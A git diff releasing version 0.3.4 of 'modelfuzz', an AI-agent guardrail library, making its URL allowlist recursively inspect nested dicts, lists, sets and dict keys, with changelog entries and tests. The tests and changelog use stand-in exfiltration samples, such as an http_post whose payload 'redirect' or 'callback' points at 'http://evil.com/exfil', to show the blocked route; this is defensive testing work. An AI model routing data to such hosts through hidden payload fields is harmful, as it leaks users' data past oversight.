diff --git a/.gitignore b/.gitignore
index 07400d2..f735a8d 100644
--- a/.gitignore
+++ b/.gitignore
@@ -12,3 +12,6 @@ build/
 .coverage.*
 htmlcov/
 .env
+hn_proof.py
+scratch_*.py
+*.local.md
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 95fdce4..ea898b5 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -4,6 +4,11 @@ All notable changes to this project are documented here.
 
 ## [Unreleased]
 
+## [0.3.4] - 2026-07-30
+
+- fix: `URLAllowList` now inspects URLs nested inside `dict`, `list`, `tuple` and `set` arguments, including dict keys. A malicious URL hidden in a payload field — `http_post(url="https://api.internal.com/v1", payload={"redirect": "http://evil.com"})` — previously passed, because 0.3.2 taught the rule to skip non-string values without teaching it to look inside them. A `redirect` or `callback` field is as much an exfiltration route as the `url` parameter itself
+- fix: guard `URLAllowList` against self-referential containers, so a cyclic argument cannot hang the check
+
 ## [0.3.3] - 2026-07-30
 
 - docs: state plainly what the default `SensitiveDataFilter` does. It matches keywords; it is not a secret-detection engine, and the Quickstart no longer implies otherwise
@@ -69,7 +74,8 @@ All notable changes to this project are documented here.
 - CI workflow (lint + tests), MIT license, unit/integration test suite
 - Package renamed from `agentshield` to `modelfuzz`
 
-[Unreleased]: https://github.com/higagan/modelfuzz/compare/v0.3.3...HEAD
+[Unreleased]: https://github.com/higagan/modelfuzz/compare/v0.3.4...HEAD
+[0.3.4]: https://github.com/higagan/modelfuzz/compare/v0.3.3...v0.3.4
 [0.3.3]: https://github.com/higagan/modelfuzz/compare/v0.3.2...v0.3.3
 [0.3.2]: https://github.com/higagan/modelfuzz/compare/v0.3.1...v0.3.2
 [0.3.1]: https://github.com/higagan/modelfuzz/compare/v0.3.0...v0.3.1
diff --git a/pyproject.toml b/pyproject.toml
index 8c12d5d..b8783b4 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
 [project]
 name = "modelfuzz"
-version = "0.3.3"
+version = "0.3.4"
 description = "Runtime guardrails for AI agents."
 readme = "README.md"
 license = { text = "MIT" }
diff --git a/src/modelfuzz/rules.py b/src/modelfuzz/rules.py
index 7667ab8..e2b7aef 100644
--- a/src/modelfuzz/rules.py
+++ b/src/modelfuzz/rules.py
@@ -18,10 +18,17 @@ class Violation:
 class URLAllowList:
     """A policy that ensures URLs are on an allowlist and blocks parsing tricks.
 
-    The policy governs *URLs only*. Arguments that are not URLs -- an email
-    body, a timeout int, None -- are passed through untouched, so a single
-    engine can guard a tool like ``http_post(url, body)`` without flagging
-    ``body``. Note the tradeoff: a bare host with no scheme (``"evil.com"``) is
+    The policy governs *URLs only*. Values that are not URLs -- an email body, a
+    timeout int, None -- are passed through untouched, so a single engine can
+    guard a tool like ``http_post(url, body)`` without flagging ``body``.
+
+    Containers are inspected recursively: a URL hidden inside a ``dict``,
+    ``list``, ``tuple`` or ``set`` argument is checked exactly as a top-level
+    one is, because a payload field such as ``{"redirect": "http://evil.com"}``
+    is as much an exfiltration route as the ``url`` parameter itself. Dict keys
+    are checked as well as values.
+
+    Note the remaining tradeoff: a bare host with no scheme (``"evil.com"``) is
     not identifiable as a URL and is therefore allowed through. Pair this with
     a rule that governs the arguments it does not.
     """
@@ -38,19 +45,39 @@ def __init__(
             else DEFAULT_URL_SCHEMES
         )
 
-    def __call__(self, url: object) -> Violation | None:
-        """Check if a URL is allowed.
+    def __call__(self, data: object) -> Violation | None:
+        """Check every URL reachable from a value.
 
         Args:
-            url: The value to check. Non-URL values are not governed by this
-                policy and return None.
+            data: The value to check. Containers are walked recursively; values
+                that are not URLs are not governed by this policy and pass.
 
         Returns:
-            A Violation object if the URL is blocked, otherwise None.
+            A Violation object if a blocked URL is found, otherwise None.
         """
-        if not isinstance(url, str):
-            return None
+        return self._check_recursive(data, set())
+
+    def _check_recursive(self, data: object, seen: set[int]) -> Violation | None:
+        if isinstance(data, str):
+            return self._check_url(data)
+
+        if isinstance(data, (dict, list, tuple, set, frozenset)):
+            # Guard against self-referential containers, which a hand-built
+            # argument can contain even though JSON-derived ones cannot.
+            if id(data) in seen:
+                return None
+            seen.add(id(data))
+
+            # Keys can carry a URL just as values can, e.g. an endpoint map.
+            items = (*data.keys(), *data.values()) if isinstance(data, dict) else data
+            for item in items:
+                violation = self._check_recursive(item, seen)
+                if violation:
+                    return violation
+
+        return None
 
+    def _check_url(self, url: str) -> Violation | None:
         # A string carrying a scheme separator is claiming to be a URL, so a
         # parse failure from here on must fail closed rather than sail through.
         looks_like_url = "://" in url
diff --git a/tests/test_rules.py b/tests/test_rules.py
index b9f3686..389dcd4 100644
--- a/tests/test_rules.py
+++ b/tests/test_rules.py
@@ -110,6 +110,57 @@ def test_allows_non_string_values(self, url_allowlist: URLAllowList, value: obje
         """Non-string arguments are passed through untouched."""
         assert url_allowlist(value) is None
 
+    def test_blocks_url_hidden_in_dict_value(self, url_allowlist: URLAllowList):
+        """The regression this class exists for: a URL inside a payload dict."""
+        violation = url_allowlist({"redirect": "http://evil.com"})
+        assert violation is not None
+        assert "not in allowlist" in violation.reason
+
+    def test_blocks_url_hidden_in_dict_key(self, url_allowlist: URLAllowList):
+        """Keys carry URLs too, e.g. an endpoint map."""
+        violation = url_allowlist({"http://evil.com": "data"})
+        assert violation is not None
+        assert "not in allowlist" in violation.reason
+
+    def test_blocks_url_hidden_in_nested_dict(self, url_allowlist: URLAllowList):
+        """Nesting depth doesn't matter."""
+        data = {"config": {"webhooks": [{"callback": "http://evil.com/exfil"}]}}
+        violation = url_allowlist(data)
+        assert violation is not None
+        assert "not in allowlist" in violation.reason
+
+    @pytest.mark.parametrize(
+        "container",
+        [
+            ["http://evil.com"],
+            ("http://evil.com",),
+            {"http://evil.com"},
+            frozenset({"http://evil.com"}),
+            [{"a": ["http://evil.com"]}],
+        ],
+    )
+    def test_blocks_url_in_any_container(self, url_allowlist: URLAllowList, container):
+        """Lists, tuples, sets and frozensets are all walked."""
+        assert url_allowlist(container) is not None
+
+    def test_allows_allowlisted_url_inside_a_container(self, url_allowlist: URLAllowList):
+        """Recursion must not turn permitted URLs into violations."""
+        assert url_allowlist({"callback": "https://api.internal.com/hook"}) is None
+
+    def test_allows_container_of_non_url_values(self, url_allowlist: URLAllowList):
+        """A benign payload stays benign -- this is the 0.3.2 regression guard."""
+        assert url_allowlist({"user": "bob", "retries": 3, "note": "hello world"}) is None
+
+    def test_survives_a_self_referential_container(self, url_allowlist: URLAllowList):
+        """A cyclic argument must not hang the guard."""
+        data: dict = {"name": "loop"}
+        data["self"] = data
+        assert url_allowlist(data) is None
+
+        evil: dict = {"redirect": "http://evil.com"}
+        evil["self"] = evil
+        assert url_allowlist(evil) is not None
+
     def test_guards_a_multi_argument_tool(self, url_allowlist: URLAllowList):
         """The regression that motivated this: http_post(url, body, timeout)."""
         from modelfuzz import ModelFuzzBlockError, PolicyEngine, shield_tool
@@ -132,6 +183,19 @@ def http_post(url: str, body: str, timeout: int = 30) -> str:
         with pytest.raises(ModelFuzzBlockError):
             http_post("http://evil.com/exfil", "hello world")
 
+        # And a disallowed host hidden in a structured payload is blocked too.
+        with pytest.raises(ModelFuzzBlockError):
+            http_post(
+                "https://api.internal.com/v1",
+                {"redirect": "http://evil.com"},
+                timeout=3,
+            )
+
+        # A structured payload with no URLs in it still passes.
+        assert http_post("https://api.internal.com/v1", {"user": "bob"}, timeout=3) == (
+            "posted to https://api.internal.com/v1"
+        )
+
 
 class TestSensitiveDataFilter:
     """Tests for the SensitiveDataFilter policy."""
diff --git a/uv.lock b/uv.lock
index 99b4a4f..ced93b0 100644
--- a/uv.lock
+++ b/uv.lock
@@ -286,7 +286,7 @@ wheels = [
 
 [[package]]
 name = "modelfuzz"
-version = "0.3.3"
+version = "0.3.4"
 source = { editable = "." }
 dependencies = [
     { name = "typer" },